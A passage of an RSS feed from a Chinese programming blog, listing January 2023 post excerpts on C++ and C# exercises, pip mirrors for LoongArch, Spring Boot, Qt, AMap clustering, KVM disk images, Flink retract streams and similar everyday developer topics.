sort(arr,arr+5,greater&amp;lt;int&amp;gt;()); for(int i=0;i&amp;lt;5;i++){ cout&amp;lt;&amp;lt;arr[i]; } cout&amp;lt;&amp;lt;endl; return 0; } 例题1：&#xA;老师希望知道办理的学生水平，将同学成绩分为三个等级A(80-100)，B(60-80)，C(0-60),输入十个学生的成绩，并由大到小进行排序，在计算出前个同学的总成绩，最后统计三个等级的学生人数。&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;algorithm&amp;gt; using namespace std; int main(){ int arr[10]; int sum=0; int A=0,B=0,C=0; for(int i=0;i&amp;lt;10;i++){ cin&amp;gt;&amp;gt;arr[i]; } sort(arr,arr+10,greater&amp;lt;int&amp;gt;()); for(int i=0;i&amp;lt;10;i++){ cout&amp;lt;&amp;lt;arr[i]&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>LoongArch上正常使用`pip install`</title>
      <link>https://bchobby.github.io/posts/1a8143831851ddae8a644d664f29580e/</link>
      <pubDate>Tue, 31 Jan 2023 15:03:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a8143831851ddae8a644d664f29580e/</guid>
      <description>原创：你在使用loongarch架构操作系统时，是否遇到pip install 安装失败的情况？ 刷到这篇文章，大家可添加评论或者私信我，及时满足大家的需求&#xA;那么，下面讲一下如何配置loongarch架构的pip 仓库及开发原理&#xA;如何配置龙芯搭建的python仓库？（LoongArch架构）&#xA;官方文档：&#xA;http://docs.loongnix.cn/python/python.html&#xA;龙芯python官方仓库：&#xA;http://pypi.loongnix.cn/&#xA;手动配置：&#xA;方式一：&#xA;loongson@loongson-pc:~$ mkdir -p ~/.pip loongson@loongson-pc:~$ touch ~/.pip/pip.conf loongson@loongson-pc:~$ cat ~/.pip/pip.conf [global] timeout = 60 index-url = https://pypi.loongnix.cn/loongson/pypi extra-index-url = https://pypi.tuna.tsinghua.edu.cn/simple [install] trusted-host = pypi.loongnix.cn pypi.tuna.tsinghua.edu.cn 方式二：&#xA;loongson@loongson-pc:~$ pip3 install pandas -i https://pypi.loongnix.cn/loongson/pypi --trusted-host pypi.loongnix.cn --extra-index-url https://pypi.org/simple --trusted-host pypi.org 龙芯python仓库的整体情况&#xA;截至2023.1.30日，龙芯python仓库支持python3.6、3.7、3.8及少量的python2.7、3.9，当前旧世界abi的国产操作系统（龙芯、uos、麒麟）默认带的python版本为3.6、3.7、3.8。&#xA;软件包适配优先级，以客户反馈及常用软件包为主&#xA;工作原理&#xA;采用的是devpi继承代理的方式进行搭建，会优先下载龙芯python仓库中的wheel包，若龙芯的python仓库中的软件包不是最新版本，会在官网下载（速度可能会慢或者pip install时直接失败）。这时你需要查看龙芯python仓库的版本，指定版本进行安装pip3 install numpy==&#xA;(test9) [conda@py-4 python3.8]$ pip3 install numpy== Looking in indexes: https://pypi.loongnix.cn/loongson/pypi, https://pypi.</description>
    </item>
    <item>
      <title>b站直播弹幕</title>
      <link>https://bchobby.github.io/posts/a724af153e3c5d7ebe1ba4bc10cd20f7/</link>
      <pubDate>Tue, 31 Jan 2023 13:41:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a724af153e3c5d7ebe1ba4bc10cd20f7/</guid>
      <description>结构: WebSocketConfig: @Configuration public class WebSocketConfig extends ServerEndpointConfig.Configurator { @Bean public ServerEndpointExporter serverEndpointExporter(){ return new ServerEndpointExporter(); } } SocketController: @RestController @RequestMapping(value = &#34;/socket&#34;) public class SocketController { private static final Logger logger = LoggerFactory.getLogger(SocketController.class); @Autowired private ClientSocket clientSocket; @ApiOperation(value = &#34;获取bilibili弹幕&#34;) @PostMapping(value = &#34;/open&#34;) public Result open(@ApiParam(value = &#34;房间号&#34;) @RequestParam(value = &#34;roomId&#34;, required = false) Integer roomId) { try { clientSocket.start(roomId); } catch (Exception e) { logger.error(&#34; ===&amp;gt; 获取bilibili弹幕错误:{}&#34;, e.</description>
    </item>
    <item>
      <title>基于Springboot的影视管理系统</title>
      <link>https://bchobby.github.io/posts/fd56e7ad5cf2b70b8a0ee3aac16d1e06/</link>
      <pubDate>Mon, 30 Jan 2023 21:44:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd56e7ad5cf2b70b8a0ee3aac16d1e06/</guid>
      <description>影城管理系统的主要使用者分为管理员和用户,实现功能包括管理员：首页、个人中心、用户管理、电影类型管理、放映厅管理、电影信息管理、购票统计管理、系统管理、订单管理,用户前台：首页、电影信息、电影资讯、个人中心、后台管理、在线客服等功能。由于本网站的功能模块设计比较全面,所以使得整个影城管理系统信息管理的过程得以实现。 本系统的使用可以实现本影城管理系统管理的信息化,可以方便管理员进行更加方便快捷的管理,可以提高管理人员的工作效率。&#xA;开发语言：Java&#xA;框架：springboot&#xA;JDK版本：JDK1.8&#xA;服务器：tomcat7&#xA;数据库：mysql&#xA;数据库工具：Navicat11&#xA;开发软件：eclipse/myeclipse/idea&#xA;Maven包：Maven&#xA;本影城管理系统结构图如图4-2所示。&#xA;图4-2 系统功能结构图&#xA;效果图&#xA;目 录&#xA;摘 要 I&#xA;1 绪论 1&#xA;1.1研究背景 1&#xA;1.2研究现状 1&#xA;1.3研究内容 2&#xA;2 系统关键技术 3&#xA;2.1 Spring Boot框架 3&#xA;2.2 JAVA技术 3&#xA;2.3 MYSQL数据库 4&#xA;2.4 B/S结构 4&#xA;3 系统分析 5&#xA;3.1 可行性分析 5&#xA;3.1.1 技术可行性 5&#xA;3.1.2经济可行性 5&#xA;3.1.3操作可行性 5&#xA;3.2 系统性能分析 5&#xA;3.3 系统功能分析 6&#xA;3.4系统流程分析 7&#xA;3.4.1登录流程 7&#xA;3.4.2注册流程 8</description>
    </item>
    <item>
      <title>Qt·.·.解决QString转cv::string并format格式化</title>
      <link>https://bchobby.github.io/posts/eff3ded51146f7eec2c9418313ffbb4b/</link>
      <pubDate>Mon, 30 Jan 2023 16:59:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eff3ded51146f7eec2c9418313ffbb4b/</guid>
      <description>Qt·.·.QString转cv::string并format格式化 经常需要将一系列的cv::Mat图像保存至硬盘里。&#xA;设置QString路径并指定序号index后，生成带不同序号的cv::string文件名。&#xA;输入条件：&#xA;foldName = QString::fromLocal8Bit(&#34;D:\\Images\\test\\中文LightTraceCalibrated2\\&#34;); index = 9; 序号固定长度为2（9变成为09），期望结果：&#xA;fileName = &#34;D:\\Images\\test\\中文LightTraceCalibrated2\\09.bmp&#34;; cv::string的format函数与C++的printf()函数的说明符与使用方式一致。&#xA;错误方法：直接格式化 对字符进行格式化转换的说明符为%s，但后缀变量中，直接使用字符变量时，返回的结果为：”\x1“&#xA;// 失败：后缀直接使用字符变量 foldName = QString::fromLocal8Bit(&#34;D:\\Images\\test\\中文LightTraceCalibrated2\\&#34;); // 结果错误： // &#34;\x1&#34; fileName = cv::format(&#34;%s&#34;, foldName); 错误方法：利用函数toLocal8Bit()转换 // &amp;lt;失败&amp;gt;：利用函数toLocal8Bit()转换后再格式化 foldName = QString::fromLocal8Bit(&#34;D:\\Images\\test\\中文LightTraceCalibrated2\\&#34;); // 结果错误： // &#34;\x1&#34; fileName_tLocal8Bit = cv::format(&#34;%s&#34;, foldName.toLocal8Bit()); .&#xA;正确方法：利用两项函数toLocal8Bit().constData()级联转换 // 【成功】：利用两项函数toLocal8Bit().constData()级联转换后再格式化 foldName = QString::fromLocal8Bit(&#34;D:\\Images\\test\\中文LightTraceCalibrated2\\&#34;); // 结果正确： // &#34;D:\\Images\\test\\中文LightTraceCalibrated2&#34; fileName_toLocal8Bit_constData = cv::format(&#34;%s&#34;, foldName.toLocal8Bit().constData()); 所有对比代码 // 路径(包含中文，使用函数fromLocal8Bit()以防产生乱码) QString foldName = QString::fromLocal8Bit(&#34;D:\\Images\\test\\中文LightTraceCalibrated2\\&#34;); // 图像序号 for (int index = 9; index &amp;lt; 23; index++) { // 使用cv::format(&#34;</description>
    </item>
    <item>
      <title>高德地图js2.0使用MarkerCluster聚合点及添加点击事件</title>
      <link>https://bchobby.github.io/posts/fc9c12bd3bca4d882927cd3fc19ae007/</link>
      <pubDate>Mon, 30 Jan 2023 14:39:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc9c12bd3bca4d882927cd3fc19ae007/</guid>
      <description>之前的博客中我便提过了在版本变化的趋势下，高德地图也在不断迭代，目前2.0以下版本已经在iOS15 beta版本不适用了，而且2.0以下版本由于卡顿等问题也不在符合用户的使用需要，升级迫在眉睫，但2.0对于标记的聚和与之前版本有较大区别，在此将写法记录一下，也希望能帮到大家。&#xA;2.0以前对于标记的处理是将标记全部在地图上画出来之后通过MarkerClusterer聚合，不仅对标记的修改较为复杂，还会导致严重的卡顿问题。而在升级到2.0后，标记的聚合便是通过MarkerCluster将标记的坐标打在地图上，然后直接渲染的方式了，如下所示：&#xA;this.cluster = new AMap.MarkerCluster(this.map, this.allLnglat, { styles: styles, renderMarker: this.renderMarker }); 其中只列举出了最重要的几个参数：&#xA;this.map:当前渲染的地图&#xA;this.allLnglat:所有的标记坐标，例如：[{ lnglat: [117.366,36.577] }]&#xA;styles: 聚合点上显示的图标，例如：&#xA;[{ url: &#39;https://a.amap.com/jsapi_demos/static/images/blue.png&#39;, size: new AMap.Size(32, 32), offset: new AMap.Pixel(-16, -16) },{ url: &#39;https://a.amap.com/jsapi_demos/static/images/green.png&#39;, size: new AMap.Size(32, 32), offset: new AMap.Pixel(-16, -16) }] renderMarker：非聚合点上显示的标记，也就是单个点显示的标记，和2.0版本前我们定义的marker是一个东西，可以自定义样式添加点击事件等，例如：&#xA;renderMarker(context) { //显示点的经纬度context.data[0].lnglat //此处应有逻辑，通过遍历所有点的经纬度来识别当前标记对应的数据 //此处content为设置当个标记的样式 context.marker.setContent(content); //此处为设置标记在地图上的偏移，根据标记物大小处理 context.marker.setOffset(new AMap.Pixel(-20, -20)); //此处为设置标记是否显示在最上方，一般只有选中的标记在最上方 context.marker.setTop(top); //此处为设置标记携带的数据，点击事件会使用 context.marker.setExtData({ id: id }); //此处为添加单个标记点击事件 context.marker.on(&#39;click&#39;, ev =&amp;gt; { //当前标记居中 this.</description>
    </item>
    <item>
      <title>在前端实现excel导入，在线编辑，导出，打印等功能</title>
      <link>https://bchobby.github.io/posts/15bfbaff2cd36834e20d7ad6a85e8256/</link>
      <pubDate>Mon, 30 Jan 2023 14:39:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15bfbaff2cd36834e20d7ad6a85e8256/</guid>
      <description>后台实现excel的导入导出很简单，在线编辑通过使用第三方平台集成也不复杂，那怎么在前端实现exel导入导出、打印、在线编辑功能呢？&#xA;在此，我们需要知道几个第三方库：luckySheet，luckyExcel，vue-print-nb，exceljs&#xA;luckySheet：luckySheet是当前比较火的excel在线编辑开源的前端第三方插件，暂时不支持导入、导出、打印&#xA;luckyExcel：luckyExcel是和luckySheet同一家开发的用于将excel文件导入luckySheet的插件&#xA;vue-print-nb：vue-print-nb的开源的封装好的打印插件，底层实现便是我们常见的window.print方法&#xA;exceljs：exceljs是用于自定义生成excel文件的开源插件&#xA;具体实现：&#xA;一、引入依赖 1、引入luckyExcel、vue-print-nb、exceljs插件 cnpm i vue-print-nb --save cnpm i exceljs --save cnpm i luckyexcel --save 2、引入luckySheet依赖 使用cdn引入：&#xA;&amp;lt;link rel=&#39;stylesheet&#39; href=&#39;https://cdn.jsdelivr.net/npm/luckysheet/dist/plugins/css/pluginsCss.css&#39; /&amp;gt; &amp;lt;link rel=&#39;stylesheet&#39; href=&#39;https://cdn.jsdelivr.net/npm/luckysheet/dist/plugins/plugins.css&#39; /&amp;gt; &amp;lt;link rel=&#39;stylesheet&#39; href=&#39;https://cdn.jsdelivr.net/npm/luckysheet/dist/css/luckysheet.css&#39; /&amp;gt; &amp;lt;link rel=&#39;stylesheet&#39; href=&#39;https://cdn.jsdelivr.net/npm/luckysheet/dist/assets/iconfont/iconfont.css&#39; /&amp;gt; &amp;lt;script src=&#34;https://cdn.jsdelivr.net/npm/luckysheet/dist/plugins/js/plugin.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;https://cdn.jsdelivr.net/npm/luckysheet/dist/luckysheet.umd.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 本地引入（具体资源文件在项目中）：&#xA;&amp;lt;link rel=&#39;stylesheet&#39; href=&#39;./luckysheet/plugins/css/pluginsCss.css&#39; /&amp;gt; &amp;lt;link rel=&#39;stylesheet&#39; href=&#39;./luckysheet/plugins/plugins.css&#39; /&amp;gt; &amp;lt;link rel=&#39;stylesheet&#39; href=&#39;./luckysheet/css/luckysheet.css&#39; /&amp;gt; &amp;lt;link rel=&#39;stylesheet&#39; href=&#39;./luckysheet/assets/iconfont/iconfont.css&#39; /&amp;gt; &amp;lt;script src=&#34;./luckysheet/plugins/js/plugin.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;./luckysheet/luckysheet.umd.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 二、使用(基于Vue） 1、集成luckySheet ①定义标签的id：&#xA;&amp;lt;div id=&#34;editSheet&#34; class=&#34;</description>
    </item>
    <item>
      <title>网站建设 之 用js写wasm</title>
      <link>https://bchobby.github.io/posts/09328eeaeca7d197d86bac8927c6f87c/</link>
      <pubDate>Mon, 30 Jan 2023 13:26:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09328eeaeca7d197d86bac8927c6f87c/</guid>
      <description>为什么要这么做？编译js比解释js更快是必然的&#xA;wasm是什么？&#xA;我期望是一个二进制文件&#xA;WebAssembly（又名wasm）是一种高效的，低级别的编程语言。 它让我们能够使用JavaScript以外的语言（例如C，C ++，Rust或其他）编写程序，然后将其编译成WebAssembly，进而生成一个加载和执行速度非常快的Web应用程序。&#xA;WebAssembly被设计为针对Size和Load Time进行优化的格式，可以在各个硬件平台上以native speed运行；&#xA;安全性：WebAssembly是运行在沙盒内的，甚至可以和当前的Java虚拟机共享一套环境，并且也遵守浏览器各种跨域不跨域的规章制度；&#xA;开放性：WebAssembly开放标准，不受任何一家厂商控制，并且被设计为可以和Java API和Context交互&#xA;短期上 WASM 显然无法替代 JS——工具链调试困难、包体积庞大冗余、调 OpenGL 都要走回 JS 到 WebGL，性能未必有保证等。我们的团队踩过移植 C++ 原生渲染引擎的坑，这东西不深度掌握的话，目前只适合保证一个原生 App 在 Web 上原汁原味地凑合能用。要想做到好用，或是封装成完整的引擎级 API 在上层用 JS 深度开发，保证让人难受。我也不知道 WASM 为什么能这么巧妙地卡在原生团队和 Web 团队各自的边界之外，在完整从下到上搞 UI 的正经前端项目上（而不是音视频等特殊场景）让两边用起来都这么费劲。&#xA;V8 几乎是这个星球上最先进的工业级脚本语言引擎。别管你代码怎么梭，只要你能让 V8 走在 Happy Path 上，那妥妥都是原生级性能。&#xA;ES 规范在不断演化。这门语言向下兼容性极佳并且仍然在进化。技术圈内独家的转译玩法，让隔壁还有人为 2 还是 3 站队的时候，前端们都在用 Chrome 明年才会支持的语法特性了。&#xA;NPM 背后那个巨大的娱乐圈，哦不，社区支持。&#xA;V8 的技术路线很可能已经到达瓶颈了——不少数据显示，这条路线的综合性能上限，大约相当于纯原生应用的 1/20，而 WASM 能优化到原生的 1/4 左右。问题在于，大多数前端应用是事件驱动的，JS 完全不会 60fps 执行，甚至初级开发者还常常随手 setTimeout 几十毫秒而不影响体验。对一个 3Ghz 的 CPU 来说，在 50ms 内它就能执行 1.</description>
    </item>
    <item>
      <title>KVM虚拟化技术学习笔记10</title>
      <link>https://bchobby.github.io/posts/9fa0fa8bd10ff98251b5c8449cb620ff/</link>
      <pubDate>Mon, 30 Jan 2023 12:11:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fa0fa8bd10ff98251b5c8449cb620ff/</guid>
      <description>虚拟机镜像管理&#xA;学习目标：&#xA;能够了解KVM虚拟机支持的镜像格式&#xA;能够使用qemu-img实现镜像创建&#xA;能够使用qemu-img实现镜像查看&#xA;能够使用qemu-img实现镜像格式转换&#xA;能够了解后备镜像的作用&#xA;能够了解差量镜像的作用&#xA;能够基于后备镜像制作差量镜像&#xA;能够使用差量镜像创建KVM虚拟机&#xA;能够使用guestfish实现镜像管理&#xA;1、qemu支持的镜像格式：&#xA;qemu-img -h Supported formats：vmdk、vdi、ssh等等。&#xA;vmdk VMware镜像格式&#xA;vdi VirtualBox镜像格式&#xA;raw 简单的二进制镜像文件，一次性占用分配的磁盘空间，支持稀疏文件。&#xA;qcow2 copy on write 写时复制技术 第二代的QEMU写时复制格式，QEMU推荐的镜像格式，支持稀疏文件，支持AES加密，支持基于zlib的压缩，支持snapshot，支持后备镜像。&#xA;稀疏文件就是在文件中留有很多空余空间，留备将来插入数据使用。如果这些空余空间被ASCII码的NULL字符占据，并且这些空间相当大，那么，这个文件就被称为稀疏文件，而且，并不分配相应的磁盘块。 这样，会产生一个问题，文件已被创建了，但相应的磁盘空间并未被分配，只有在有真正的数据插入进来时，才会被分配磁盘块，如果这时文件系统被占满了，那么对该文件的写操作就会失败。为防止这种情况，有两种办法：不产生稀疏文件或为稀疏文件留够空间。 在计算机科学方面，稀疏文件是文件系统中的一种文件存储方式，在创建一个文件的时候，就预先分配了文件需要的连续存储空间，其空间内部大多都还未被数据填充现在有很多文件系统都支持稀疏文件，包括大部分的Unix和NTFS 。 稀疏文件被普遍用来磁盘镜像，数据库快照，日志文件，还有其他科学运用上。&#xA;[root@vm1 ~]# dd if=/dev/zero of=/home/disk01.img bs=10M count=100 100+0 records in 100+0 records out 1048576000 bytes (1.0 GB) copied, 5.65007 s, 186 MB/s 后备镜像&#xA;前端镜像：qcow2，云平台大部分都是这个。&#xA;2、创建磁盘：&#xA;[root@localhost ~]#qemu-img create disk1.raw 10G #raw格式 [root@localhost ~]#qemu-img create disk2.qcow2 -f qcow2 10G #qcow2格式 raw是一个普通的二进制的文件格式，支持稀疏格式。一般我们不用这种格式。</description>
    </item>
    <item>
      <title>3-2 找出不是两个数组共有的元素(C#写法)</title>
      <link>https://bchobby.github.io/posts/f345137d5320798296071da3e046c1bb/</link>
      <pubDate>Mon, 30 Jan 2023 11:29:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f345137d5320798296071da3e046c1bb/</guid>
      <description>3-2 找出不是两个数组共有的元素（PTA题目C#写法）&#xA;给定两个整型数组，本题要求找出不是两者共有的元素。&#xA;输入格式: 输入分别在两行中给出两个整型数组，每行先给出正整数N（≤20），随后是N个整数，其间以空格分隔。&#xA;输出格式: 在一行中按照数字给出的顺序输出不是两数组共有的元素，数字间以空格分隔，但行末不得有多余的空格。题目保证至少存在一个这样的数字。同一数字不重复输出。&#xA;输入样例: 10 3 -5 2 8 0 3 5 -15 9 100 11 6 4 8 2 6 -5 9 0 100 8 1 输出样例: 3 5 -15 6 4 1 C#源代码（这个是C#创建的控制台写的）&#xA;using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace ConsoleApplication34 { class Program { static void Main(string[] args) { string[] arr1 = Console.ReadLine().Split(&#39; &#39;); string[] arr2 = Console.ReadLine().Split(&#39; &#39;); int a = int.</description>
    </item>
    <item>
      <title>Hikari数据源项目启动后覆盖为新数据源【多库】</title>
      <link>https://bchobby.github.io/posts/e2b28af112cee591982e4ffed4e984e7/</link>
      <pubDate>Mon, 30 Jan 2023 11:13:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2b28af112cee591982e4ffed4e984e7/</guid>
      <description>【适用场景：动态切换数据库（单库或者多库）。 切换新库完成后可不改配置，重启也能直接连新库】&#xA;方案：启动时多连接两个新库，即初始化4个库。在切换时，是通过实现protected abstract DataSource determineDataSource();的方法，进行数据源的决策，动态切换到新库。&#xA;项目情况：本身使用hikari的数据源，且连接了两个库。 现在希望运行中动态切换为另外两个数据库。项目本身就使用了dynamic-datasource-spring-boot-starter多数据源连接。&#xA;项目在启动时，就会读取下方配置，创建动态数据源对象：com.baomidou.dynamic.datasource.DynamicRoutingDataSource，内部的map存储了多个数据源。&#xA;/**所有数据库*/&#xA;private Map&amp;lt;String, DataSource&amp;gt; dataSourceMap = new LinkedHashMap&amp;lt;&amp;gt;();&#xA;使用时默认使用的master主数据源，需要切换时，在具体的service实现类或者mapper上，加上注解：@DS(&#34;second&#34;)即可使用从数据源的链接。&#xA;本次功能项目新增结构：&#xA;启动连接配置，是从nacos配置读取的（原本的配置）&#xA;spring: main: allow-bean-definition-overriding: true datasource: driver-class-name: com.mysql.cj.jdbc.Driver type: com.zaxxer.hikari.HikariDataSource hikari: maximum-pool-size: 10 idle-timeout: 180000 connection-timeout: 60000 validationQuery: SELECT 1 FROM DUAL testWhileIdle: true dynamic: #修改默认数据源名称，默认值是master primary: master datasource: master: type: com.zaxxer.hikari.HikariDataSource driver-class-name: com.mysql.cj.jdbc.Driver url: jdbc:mysql://x1111111:3306/db_master?characterEncoding=UTF-8&amp;amp;zeroDateTimeBehavior=convertToNull&amp;amp;useSSL=false&amp;amp;serverTimezone=Asia/Shanghai username: u1111111 password: p1111111 second: type: com.zaxxer.hikari.HikariDataSource driver-class-name: com.mysql.cj.jdbc.Driver url: jdbc:mysql://x2222222:3306/db_second?characterEncoding=UTF-8&amp;amp;amp&amp;amp;zeroDateTimeBehavior=convertToNull&amp;amp;serverTimezone=Asia/Shanghai username: u2222222 password: p2222222 ## 注意：如果原本是单库，也需要调整为这种格式的多库配置。不过此时需要额外引入dynamic-datasource-spring-boot-starter的jar包 配置调整：</description>
    </item>
    <item>
      <title>AttributeError: module ‘sipbuild.api‘ has no attribute ‘prepare_metadata_for_build_wheel‘</title>
      <link>https://bchobby.github.io/posts/4505a92278b5add95a5d2cdb4f56d8ef/</link>
      <pubDate>Mon, 30 Jan 2023 10:44:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4505a92278b5add95a5d2cdb4f56d8ef/</guid>
      <description>在Ubuntu中安装pyqt5时报错：&#xA;Collecting pyqt5 Downloading PyQt5-5.15.6.tar.gz (3.2 MB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 3.2/3.2 MB 44.6 kB/s eta 0:00:00 Installing build dependencies ... done Getting requirements to build wheel ... done Preparing metadata (pyproject.toml) ... error error: subprocess-exited-with-error × Preparing metadata (pyproject.toml) did not run successfully. │ exit code: 1 ╰─&amp;gt; [35 lines of output] Querying qmake about your Qt installation... /usr/bin/qmake -query Traceback (most recent call last): File &#34;/usr/local/lib/python3.7/dist-packages/pip/_vendor/pep517/in_process/_in_process.py&#34;, line 156, in prepare_metadata_for_build_wheel hook = backend.</description>
    </item>
    <item>
      <title>CSS完整笔记</title>
      <link>https://bchobby.github.io/posts/a3090cd4cb136b6b8d699ad294edef55/</link>
      <pubDate>Sun, 29 Jan 2023 20:20:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3090cd4cb136b6b8d699ad294edef55/</guid>
      <description>Css 一 css的语法&#xA;选择器名称{&#xA;属性名称1：属性的值1；&#xA;}&#xA;二 css的引入方式&#xA;CSS有三种方式： 内联式：在html头标签添加style 添加样式 不推荐&#xA;内部式CSS ：在head里面 style标签里面添加&#xA;外链式CSS：新建css 用link引用样式&#xA;五 什么是选择器&#xA;用于选择需要添加样式的目标对象。&#xA;六 选择器的基本语法&#xA;选择器名称 {&#xA;属性名称1：属性的值1；&#xA;...&#xA;}&#xA;四 选择器&#xA;基本选择器：通用选择器* :作用于html上的所有元素&#xA;标签选择器：必须是固定的标签 不能使用自己的定义名称 选择网页的 指定标签&#xA;类选择器：以点为前缀。通过标签的class属性调用选择器 以标签的class作为样式的引用依据（调用多个选择器用空格隔开 不能数字开头）&#xA;Id选择器：以#作为前缀 通过id属性进行名称匹配&#xA;选择器分组：将同样的样式应用于多个选择器，可以将选择符以逗号分 隔的方式并为组&#xA;伪类选择器：动态伪类选择器：E:hover：鼠标悬停时的样式&#xA;E:active：在鼠标点击与释放之间发生的事件时的样 式&#xA;鼠标的四种状态：E:link 未访问的链接&#xA;E:visited 已访问的链接&#xA;E:hover 鼠标悬停状态&#xA;E:active 选定的激活状态&#xA;层次选择器： E F包含选择符 E&amp;gt;F子选择符 E+F相邻选择器 E~F相邻全部选择器 伪类选择器： E:first-childirst-child必须是兄弟中的第一个&#xA;last-child first-child必须是兄弟中的第一个&#xA;only-child 仅有的一个子元素E&#xA;E:nth-child(n) 父元素的第n个子元素E。&#xA;E:nth-last-child(n) 父元素的倒数第n个子元素E。</description>
    </item>
    <item>
      <title>RGBLED灯编程，显示全部颜色</title>
      <link>https://bchobby.github.io/posts/22268420f9728793eba13be5480121b7/</link>
      <pubDate>Sun, 29 Jan 2023 18:50:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22268420f9728793eba13be5480121b7/</guid>
      <description>RGBLED灯编程，显示全部颜色&#xA;通过之前的学习，我们已经了解了RGBLED灯的。工作原理以及接线方式。我们这一节继续来探究它的编程，通过编程来改变这个RGBLED灯的颜色，或者说打开它的使用说明书。好了，我们继续分享这一节的内容吧。&#xA;我们先从无内置芯片的四个引脚RGBLED开始，我们如何点亮呢？对了相信很多小伙伴们通过对电路图的接线了解一定已经会了，就是公共端和开发板电源相连，共阳极就连开发板的vcc共阴极就连开发板的GND，然后将RGB这三个引脚分别连入开发板的模拟量输出端口，之前已经介绍过了如何选择端口这里就不再赘述了。连接时确认下是否接入了限流电阻，如果不接有被烧坏的风险呢。如果选用模块这个问题就轻松避免了。这样一来我们的硬件连接部分就轻松的搞定了，然后打开米思齐编程软件找到输入输出模块中的模拟量输出模块，这里需要三个这个模块进行设置，因为有三个引脚，这里还有一件事要注意那就是编写程序前一定要先写注释后再编程，点击注释模块输入备注，&#xA;我是这样写的(无内置芯片RGBLED灯程序探究，正控，R红色接13号引脚，G绿色接14号引脚，B蓝色接15号引脚。备注写好了，我们千万不要嫌麻烦节省时间不写备注，那样的话过段时间你再打开这个程序你就会有一种似曾相识又陌生的感觉，还得全都看一遍才能知道我们之前做的是啥，这样一来更浪费了您的宝贵时间。而且这样备注后还有利于我们的编程工作，比如说我们想编写蓝色直接看备注即可，无需再去查看接线硬件部分，想要组成复合颜色只要找到对应端口进行RGB设置颜色信息即可.是不是很简单？我们可以试着让他分别显示七种颜色试试。（这里最好选择模拟量输出引脚，虽说数字引脚也可以生成七种颜色，但是不利于后期其他颜色的生成的编程工作）。&#xA;接下来聊一聊内置ws2812芯片类的RGBLED灯带如何进行编程工作。&#xA;第一步在米思齐软件中先选择好引脚做好备注，&#xA;第二步找到执行器模块中的找到RGB灯模块。&#xA;这里需要记住，需要点击这里的三个编程模块，他们分别设置成功后才可以进行编程。因为这三个是一个小组合缺一不可。我们找到执行器。找到控制RGB部分的编程模块，这三个同时在的情况下才可以控制RGB灯带。还得注意的是这三模块端口信息一定要改为我们用到的那个端口号，否则错一个也不会生效的。&#xA;我们先用一种办法就是设置RGB的数值来控制灯RGB灯产生不同的颜色。&#xA;这里有一个类型。大多数都是RGB类型&#xA;，因为厂家的不同，它生产出来的顺序是不一样的。这里需要注意，我们要根据所使用的RGB型号进行选择相对的型号进行编程不然颜色是不对的。&#xA;我们通过。改变RGB的值。比如说红色，我们将R值设置成255G值和B值设置成0，这样写入开发板就是输出红色。如果B值255,R值和G值为零的时候，就是蓝色。&#xA;那这些到底怎么区分呢？总不能除了七种颜色都去试一遍吧别着急，这里有一个RGBLED值和颜色的对照表，&#xA;我们可以根据这张表格的。&#xA;RGB颜色对照表.rar (676.26 KB) 所显示的颜色来进行区分以及设置。&#xA;使用内置芯片RGBLED的好处就是只占用一个端口就可以轻松控制RGBLED显示出全部的颜色。&#xA;怎么样RGBLED通过米思齐编程显示全部颜色是不是很简单？。&#xA;---------------------&#xA;作者：起点116&#xA;链接：https://bbs.21ic.com/icview-3275560-1-1.html&#xA;来源：21ic.com&#xA;此文章已获得原创/原创奖标签，著作权归21ic所有，任何人未经允许禁止转载。</description>
    </item>
    <item>
      <title>Flink必知必会系列之回撤流(RetractStream)源码解读</title>
      <link>https://bchobby.github.io/posts/6f332844e08e937625c7af3cf4d55a45/</link>
      <pubDate>Sun, 29 Jan 2023 17:36:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f332844e08e937625c7af3cf4d55a45/</guid>
      <description>👉 全网最全大数据面试提升手册！2023年持续更新！&#xA;1. 定义 Flink中，Kafka Source是非回撤流，Group By是回撤流。所谓回撤流，就是可以更新历史数据的流，更新历史数据并不是将发往下游的历史数据进行更改，要知道，已经发往下游的消息是追不回来的。更新历史数据的含义是，在得知某个Key（接在Key BY / Group By后的字段）对应数据已经存在的情况下，如果该Key对应的数据再次到来，会生成一条delete消息和一条新的insert消息发往下游。&#xA;2. 示例 public class RetractDemo { public static void main(String[] args) throws Exception { // set up execution environment StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment(); env.setParallelism(1); // use blink planner in streaming mode EnvironmentSettings settings = EnvironmentSettings.newInstance() .inStreamingMode() .build(); StreamTableEnvironment tEnv = StreamTableEnvironment.create(env, settings); // 用fromElements模拟非回撤消息 DataStream&amp;lt;Tuple2&amp;lt;String, Integer&amp;gt;&amp;gt; dataStream = env.fromElements(new Tuple2&amp;lt;&amp;gt;(&#34;hello&#34;, 1), new Tuple2&amp;lt;&amp;gt;(&#34;hello&#34;, 1), new Tuple2&amp;lt;&amp;gt;(&#34;hello&#34;, 1)); tEnv.registerDataStream(&#34;tmpTable&#34;, dataStream, &#34;</description>
    </item>
    <item>
      <title>could not transfer artifact com...</title>
      <link>https://bchobby.github.io/posts/408ac14bc4c37aeab7aae1061205ded8/</link>
      <pubDate>Sun, 29 Jan 2023 16:40:16 +0800</pubDate>
